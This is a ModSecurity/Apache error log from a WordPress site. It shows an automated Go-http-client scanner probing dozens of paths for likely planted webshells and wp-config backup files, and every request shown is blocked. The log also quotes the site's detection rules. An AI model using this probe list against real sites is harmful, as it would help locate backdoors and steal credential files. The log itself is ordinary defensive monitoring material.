[Sun May 10 08:22:28.775842 2026] [:error] [pid 46417:tid 46440] [client 85.203.23.187:41609] [client 85.203.23.187] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/wp-content/uploads/"] [unique_id "af_PxGInm7mhwgbe48Zn3wAAARU"]
[Sun May 10 08:22:28.965443 2026] [:error] [pid 46417:tid 46425] [client 85.203.23.176:31105] [client 85.203.23.176] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/uploads/elementor/css/"] [unique_id "af_PxGInm7mhwgbe48Zn4AAAAQY"]
[Sun May 10 08:22:29.193709 2026] [:error] [pid 52634:tid 52655] [client 85.203.23.180:37307] [client 85.203.23.180] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/uploads/wp-file-manager-pro/fm_backup/"] [unique_id "af_Pxdwp8XoWCwFb54CSvwAAANE"]
[Sun May 10 08:22:29.375496 2026] [:error] [pid 46417:tid 46435] [client 85.203.23.216:64009] [client 85.203.23.216] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/uploads/well-known/"] [unique_id "af_PxWInm7mhwgbe48Zn4QAAARA"]
[Sun May 10 08:22:29.579446 2026] [:error] [pid 46331:tid 46383] [client 85.203.23.184:58639] [client 85.203.23.184] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/uploads/well-known/pki-validation/"] [unique_id "af_PxQP02hpYETwsZpgSxgAAAIs"]
[Sun May 10 08:22:29.861564 2026] [:error] [pid 46330:tid 46379] [client 85.203.23.182:47665] [client 85.203.23.182] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/uploads/system.php"] [unique_id "af_PxYztrhd3evDQvs82aAAAAEc"]
[Sun May 10 08:22:30.064124 2026] [:error] [pid 46331:tid 46362] [client 85.203.23.177:23637] [client 85.203.23.177] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/uploads/panel.php"] [unique_id "af_PxgP02hpYETwsZpgSyAAAAIE"]
[Sun May 10 08:22:35.279997 2026] [:error] [pid 46329:tid 46351] [client 85.203.23.224:30707] [client 85.203.23.224] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/uploads/wp.php"] [unique_id "af_Py-Fo7Z2I88d0gPJPwgAAABI"]
[Sun May 10 08:22:35.484941 2026] [:error] [pid 46331:tid 46386] [client 85.203.23.212:54905] [client 85.203.23.212] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/uploads/login.php"] [unique_id "af_PywP02hpYETwsZpgSzQAAAI0"]
[Sun May 10 08:22:35.691830 2026] [:error] [pid 46329:tid 46353] [client 85.203.23.189:52395] [client 85.203.23.189] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/media/system_core.php"] [unique_id "af_Py-Fo7Z2I88d0gPJPxAAAABQ"]
[Sun May 10 08:22:35.887730 2026] [:error] [pid 46417:tid 46423] [client 85.203.23.206:25865] [client 85.203.23.206] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/system_core.php"] [unique_id "af_Py2Inm7mhwgbe48Zn5gAAAQQ"]
[Sun May 10 08:22:36.684462 2026] [:error] [pid 52634:tid 52650] [client 85.203.23.197:44663] [client 85.203.23.197] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/system_core.php"] [unique_id "af_PzNwp8XoWCwFb54CSxwAAAMw"]
[Sun May 10 08:22:37.174407 2026] [:error] [pid 52634:tid 52642] [client 85.203.23.210:61625] [client 85.203.23.210] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/system_core.php"] [unique_id "af_Pzdwp8XoWCwFb54CSyQAAAMQ"]
[Sun May 10 08:22:37.369482 2026] [:error] [pid 52634:tid 52639] [client 85.203.23.209:36305] [client 85.203.23.209] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-json/oembed/system_core.php"] [unique_id "af_Pzdwp8XoWCwFb54CSygAAAME"]
[Sun May 10 08:22:37.565734 2026] [:error] [pid 52634:tid 52662] [client 85.203.23.204:51357] [client 85.203.23.204] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-json/system_core.php"] [unique_id "af_Pzdwp8XoWCwFb54CSzQAAANg"]
[Sun May 10 08:22:37.988352 2026] [:error] [pid 52634:tid 52640] [client 85.203.23.215:60007] [client 85.203.23.215] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-json/wp/system_core.php"] [unique_id "af_Pzdwp8XoWCwFb54CSzwAAAMI"]
[Sun May 10 08:22:38.570941 2026] [:error] [pid 52634:tid 52660] [client 85.203.23.199:51351] [client 85.203.23.199] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-json/wp/v2/system_core.php"] [unique_id "af_Pztwp8XoWCwFb54CS0QAAANY"]
[Sun May 10 08:22:38.764552 2026] [:error] [pid 52634:tid 52645] [client 85.203.23.168:22825] [client 85.203.23.168] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/wp-content/wp-config-backup.php"] [unique_id "af_Pztwp8XoWCwFb54CS0gAAAMc"]
[Sun May 10 08:22:38.988896 2026] [:error] [pid 46329:tid 46349] [client 85.203.23.204:41907] [client 85.203.23.204] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/wp-config.php"] [unique_id "af_PzuFo7Z2I88d0gPJPxgAAABA"]
[Sun May 10 08:22:39.271022 2026] [:error] [pid 52634:tid 52642] [client 85.203.23.220:54593] [client 85.203.23.220] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/js_composer/bak.php"] [unique_id "af_Pz9wp8XoWCwFb54CS1QAAAMQ"]
[Sun May 10 08:22:39.555878 2026] [:error] [pid 52634:tid 52662] [client 85.203.23.209:57079] [client 85.203.23.209] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/elementor/assets/css/conditionals/system_core.php"] [unique_id "af_Pz9wp8XoWCwFb54CS1gAAANg"]
[Sun May 10 08:22:39.785779 2026] [:error] [pid 52634:tid 52638] [client 85.203.23.205:55003] [client 85.203.23.205] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/system_core.php"] [unique_id "af_Pz9wp8XoWCwFb54CS2AAAAMA"]
[Sun May 10 08:22:39.989185 2026] [:error] [pid 52634:tid 52659] [client 85.203.23.222:51517] [client 85.203.23.222] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/wpforms-lite/assets/css/frontend/modern/system_core.php"] [unique_id "af_Pz9wp8XoWCwFb54CS2QAAANU"]
[Sun May 10 08:22:40.181264 2026] [:error] [pid 52634:tid 52655] [client 85.203.23.171:57907] [client 85.203.23.171] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/wp-content/plugins/wp-config-backup.php"] [unique_id "af_P0Nwp8XoWCwFb54CS2wAAANE"]
[Sun May 10 08:22:40.398074 2026] [:error] [pid 46417:tid 46425] [client 85.203.23.185:41595] [client 85.203.23.185] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/wp-config-backup.php"] [unique_id "af_P0GInm7mhwgbe48Zn6gAAAQY"]
[Sun May 10 08:22:40.590805 2026] [:error] [pid 46330:tid 46384] [client 85.203.23.191:32279] [client 85.203.23.191] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/cielhpn/"] [unique_id "af_P0Iztrhd3evDQvs82cQAAAEo"]
[Sun May 10 08:22:40.873408 2026] [:error] [pid 46417:tid 46426] [client 85.203.23.203:54179] [client 85.203.23.203] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/elementor-pro/modules/loop-filter/data/endpoints/about.php"] [unique_id "af_P0GInm7mhwgbe48Zn6wAAAQc"]
[Sun May 10 08:22:41.064808 2026] [:error] [pid 46330:tid 46374] [client 85.203.23.170:37963] [client 85.203.23.170] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/forminator/library/field-autofill-providers/contracts/wp-login.php"] [unique_id "af_P0Yztrhd3evDQvs82cgAAAEQ"]
[Sun May 10 08:22:41.278482 2026] [:error] [pid 46330:tid 46376] [client 85.203.23.203:29235] [client 85.203.23.203] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/advanced-custom-fields-pro/includes/Updater/about.php"] [unique_id "af_P0Yztrhd3evDQvs82cwAAAEU"]
[Sun May 10 08:22:41.599723 2026] [:error] [pid 46417:tid 46435] [client 85.203.23.203:23125] [client 85.203.23.203] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/enhanced-text-widget/analyst/src/class-wp-logo.php"] [unique_id "af_P0WInm7mhwgbe48Zn7AAAARA"]
[Sun May 10 08:22:41.787137 2026] [:error] [pid 46329:tid 46350] [client 85.203.23.178:54577] [client 85.203.23.178] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/js_composer/include/classes/vendors/plugins/test.php"] [unique_id "af_P0eFo7Z2I88d0gPJPxwAAABE"]
[Sun May 10 08:22:41.988270 2026] [:error] [pid 46417:tid 46436] [client 85.203.23.182:25183] [client 85.203.23.182] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/revslider/admin/assets/js/plugins/maintenance.php"] [unique_id "af_P0WInm7mhwgbe48Zn7QAAARE"]
[Sun May 10 08:22:42.188903 2026] [:error] [pid 46329:tid 46346] [client 85.203.23.170:27181] [client 85.203.23.170] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/contact-form-7/includes/js/jquery-ui/themes/wp-mail.php"] [unique_id "af_P0uFo7Z2I88d0gPJPyAAAAA0"]
[Sun May 10 08:22:42.371936 2026] [:error] [pid 46329:tid 46339] [client 85.203.23.202:33089] [client 85.203.23.202] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/sitepress-multilingual-cms/classes/plugins/wp-blog-header.php"] [unique_id "af_P0uFo7Z2I88d0gPJPyQAAAAY"]
[Sun May 10 08:22:42.587319 2026] [:error] [pid 46330:tid 46402] [client 85.203.23.199:56091] [client 85.203.23.199] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/updraftplus/includes/jstree/themes/wp-activate.php"] [unique_id "af_P0oztrhd3evDQvs82dQAAAFI"]
[Sun May 10 08:22:42.800452 2026] [:error] [pid 52634:tid 52641] [client 85.203.23.168:23279] [client 85.203.23.168] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/wp-file-manager/lib/themes/options.php"] [unique_id "af_P0twp8XoWCwFb54CS3QAAAMM"]
[Sun May 10 08:22:42.981337 2026] [:error] [pid 52634:tid 52651] [client 85.203.23.190:35433] [client 85.203.23.190] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/wp-blog-header.php"] [unique_id "af_P0twp8XoWCwFb54CS3gAAAM0"]
[Sun May 10 08:22:43.184310 2026] [:error] [pid 46329:tid 46338] [client 85.203.23.210:22011] [client 85.203.23.210] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/elementor/assets/lib/pickr/themes/wp-blog-header.php"] [unique_id "af_P0-Fo7Z2I88d0gPJPywAAAAU"]
[Sun May 10 08:22:43.399189 2026] [:error] [pid 46329:tid 46357] [client 85.203.23.212:44345] [client 85.203.23.212] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/contact-form-7/uoyaugar.php"] [unique_id "af_P0-Fo7Z2I88d0gPJPzAAAABg"]
[Sun May 10 08:22:43.583553 2026] [:error] [pid 46331:tid 46393] [client 85.203.23.187:61979] [client 85.203.23.187] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/check-email/config.php"] [unique_id "af_P0wP02hpYETwsZpgSzgAAAJE"]
[Sun May 10 08:22:43.792891 2026] [:error] [pid 46329:tid 46355] [client 85.203.23.186:43031] [client 85.203.23.186] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/file-manager-advanced/config.php"] [unique_id "af_P0-Fo7Z2I88d0gPJPzQAAABY"]
[Sun May 10 08:22:43.990757 2026] [:error] [pid 46417:tid 46429] [client 85.203.23.206:61591] [client 85.203.23.206] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/autoload_classmap.php"] [unique_id "af_P02Inm7mhwgbe48Zn8AAAAQo"]
[Sun May 10 08:22:44.200560 2026] [:error] [pid 52634:tid 52662] [client 85.203.23.223:36801] [client 85.203.23.223] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/elementor/lndex.php"] [unique_id "af_P1Nwp8XoWCwFb54CS3wAAANg"]
[Sun May 10 08:22:44.459138 2026] [:error] [pid 52634:tid 52638] [client 85.203.23.189:41865] [client 85.203.23.189] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/wordpress-seo/wp-seo-trigger-table.php"] [unique_id "af_P1Nwp8XoWCwFb54CS4AAAAMA"]
[Sun May 10 08:22:44.675065 2026] [:error] [pid 52634:tid 52659] [client 85.203.23.171:43555] [client 85.203.23.171] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/wp-content/plugins/admin.php"] [unique_id "af_P1Nwp8XoWCwFb54CS4QAAANU"]
[Sun May 10 08:22:44.869796 2026] [:error] [pid 52634:tid 52658] [client 85.203.23.171:31083] [client 85.203.23.171] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/star-addons-for-elementor/includes/class-star-addons-uploads.php"] [unique_id "af_P1Nwp8XoWCwFb54CS4gAAANQ"]
[Sun May 10 08:22:45.063816 2026] [:error] [pid 46417:tid 46428] [client 85.203.23.210:64773] [client 85.203.23.210] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/contact-form-7-honeypot/includes/rest-api/wp-admin/config.php"] [unique_id "af_P1WInm7mhwgbe48Zn8gAAAQk"]
[Sun May 10 08:22:45.278861 2026] [:error] [pid 46417:tid 46443] [client 85.203.23.180:35577] [client 85.203.23.180] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/js_composer/include/classes/vendors/plugins/panel.php"] [unique_id "af_P1WInm7mhwgbe48Zn8wAAARg"]
[Sun May 10 08:22:45.476293 2026] [:error] [pid 46417:tid 46421] [client 85.203.23.181:52013] [client 85.203.23.181] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/the-events-calendar/build/css/integrations/plugins/options.php"] [unique_id "af_P1WInm7mhwgbe48Zn9AAAAQI"]
[Sun May 10 08:22:45.687464 2026] [:error] [pid 46417:tid 46433] [client 85.203.23.166:38223] [client 85.203.23.166] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/updraftplus/includes/jstree/themes/config.php"] [unique_id "af_P1WInm7mhwgbe48Zn9QAAAQ4"]
[Sun May 10 08:22:45.872305 2026] [:error] [pid 46331:tid 46392] [client 85.203.23.187:40935] [client 85.203.23.187] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/ssss/src.php"] [unique_id "af_P1QP02hpYETwsZpgSzwAAAJA"]
[Sun May 10 08:22:46.068140 2026] [:error] [pid 46329:tid 46353] [client 85.203.23.216:57163] [client 85.203.23.216] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/maintenance.php"] [unique_id "af_P1uFo7Z2I88d0gPJP0QAAABQ"]
